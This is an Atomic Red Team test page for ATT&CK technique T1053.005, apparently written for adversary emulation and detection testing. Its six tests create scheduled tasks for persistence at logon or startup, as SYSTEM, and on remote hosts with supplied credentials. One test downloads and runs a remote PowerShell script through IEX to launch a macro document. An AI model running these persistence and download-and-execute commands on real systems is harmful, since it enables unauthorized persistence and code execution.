# T1053.005 - Scheduled Task
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1053/005)
<blockquote>Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The <code>schtasks</code> can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.

The deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At (Windows)](https://attack.mitre.org/techniques/T1053/002)), though <code>at.exe</code> can not access tasks created with <code>schtasks</code> or the Control Panel.

An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).</blockquote>

## Atomic Tests

- [Atomic Test #1 - Scheduled Task Startup Script](#atomic-test-1---scheduled-task-startup-script)

- [Atomic Test #2 - Scheduled task Local](#atomic-test-2---scheduled-task-local)

- [Atomic Test #3 - Scheduled task Remote](#atomic-test-3---scheduled-task-remote)

- [Atomic Test #4 - Powershell Cmdlet Scheduled Task](#atomic-test-4---powershell-cmdlet-scheduled-task)

- [Atomic Test #5 - Task Scheduler via VBA](#atomic-test-5---task-scheduler-via-vba)

- [Atomic Test #6 - WMI Invoke-CimMethod Scheduled Task](#atomic-test-6---wmi-invoke-cimmethod-scheduled-task)


<br/>

## Atomic Test #1 - Scheduled Task Startup Script
Run an exe on user logon or system startup.  Upon execution, success messages will be displayed for the two scheduled tasks. To view
the tasks, open the Task Scheduler and look in the Active Tasks pane.

**Supported Platforms:** Windows


**auto_generated_guid:** fec27f65-db86-4c2d-b66c-61945aee87c2






#### Attack Commands: Run with `command_prompt`!  Elevation Required (e.g. root or admin) 


```cmd
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
```

#### Cleanup Commands:
```cmd
schtasks /delete /tn "T1053_005_OnLogon" /f >nul 2>&1
schtasks /delete /tn "T1053_005_OnStartup" /f >nul 2>&1
```





<br/>
<br/>

## Atomic Test #2 - Scheduled task Local
Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.

**Supported Platforms:** Windows


**auto_generated_guid:** 42f53695-ad4a-4546-abb6-7d837f644a71





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| task_command | What you want to execute | String | C:&#92;windows&#92;system32&#92;cmd.exe|
| time | What time 24 Hour | String | 20:10|


#### Attack Commands: Run with `command_prompt`! 


```cmd
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
```

#### Cleanup Commands:
```cmd
SCHTASKS /Delete /TN spawn /F >nul 2>&1
```





<br/>
<br/>

## Atomic Test #3 - Scheduled task Remote
Create a task on a remote system.

Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.

**Supported Platforms:** Windows


**auto_generated_guid:** 2e5eac3e-327b-4a88-a0c0-c4057039a8dd





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| task_command | What you want to execute | String | C:&#92;windows&#92;system32&#92;cmd.exe|
| time | What time 24 Hour | String | 20:10|
| target | Target | String | localhost|
| user_name | Username to authenticate with, format: DOMAIN&#92;User | String | DOMAIN&#92;user|
| password | Password to authenticate with | String | At0micStrong|


#### Attack Commands: Run with `command_prompt`!  Elevation Required (e.g. root or admin) 


```cmd
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
```

#### Cleanup Commands:
```cmd
SCHTASKS /Delete /S #{target} /U #{user_name} /P #{password} /TN "Atomic task" /F >nul 2>&1
```





<br/>
<br/>

## Atomic Test #4 - Powershell Cmdlet Scheduled Task
Create an atomic scheduled task that leverages native powershell cmdlets.

Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.

**Supported Platforms:** Windows


**auto_generated_guid:** af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd






#### Attack Commands: Run with `powershell`! 


```powershell
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
```

#### Cleanup Commands:
```powershell
Unregister-ScheduledTask -TaskName "AtomicTask" -confirm:$false >$null 2>&1
```





<br/>
<br/>

## Atomic Test #5 - Task Scheduler via VBA
This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute "notepad.exe" within
30 - 40 seconds after this module has run

**Supported Platforms:** Windows


**auto_generated_guid:** ecd3fa21-7792-41a2-8726-2c5c673414d3





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| ms_product | Maldoc application Word | String | Word|


#### Attack Commands: Run with `powershell`! 


```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) 
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"
```




#### Dependencies:  Run with `powershell`!
##### Description: Microsoft #{ms_product} must be installed
##### Check Prereq Commands:
```powershell
try {
  New-Object -COMObject "#{ms_product}.Application" | Out-Null
  $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
  Stop-Process -Name $process
  exit 0
} catch { exit 1 }
```
##### Get Prereq Commands:
```powershell
Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement"
```




<br/>
<br/>

## Atomic Test #6 - WMI Invoke-CimMethod Scheduled Task
Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.

**Supported Platforms:** Windows


**auto_generated_guid:** e16b3b75-dc9e-4cde-a23d-dfa2d0507b3b






#### Attack Commands: Run with `powershell`!  Elevation Required (e.g. root or admin) 


```powershell
$xml = [System.IO.File]::ReadAllText("PathToAtomicsFolder\T1053.005\src\T1053_005_WMI.xml")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
```

#### Cleanup Commands:
```powershell
Unregister-ScheduledTask -TaskName "T1053_005_WMI" -confirm:$false >$null 2>&1
```





<br/>
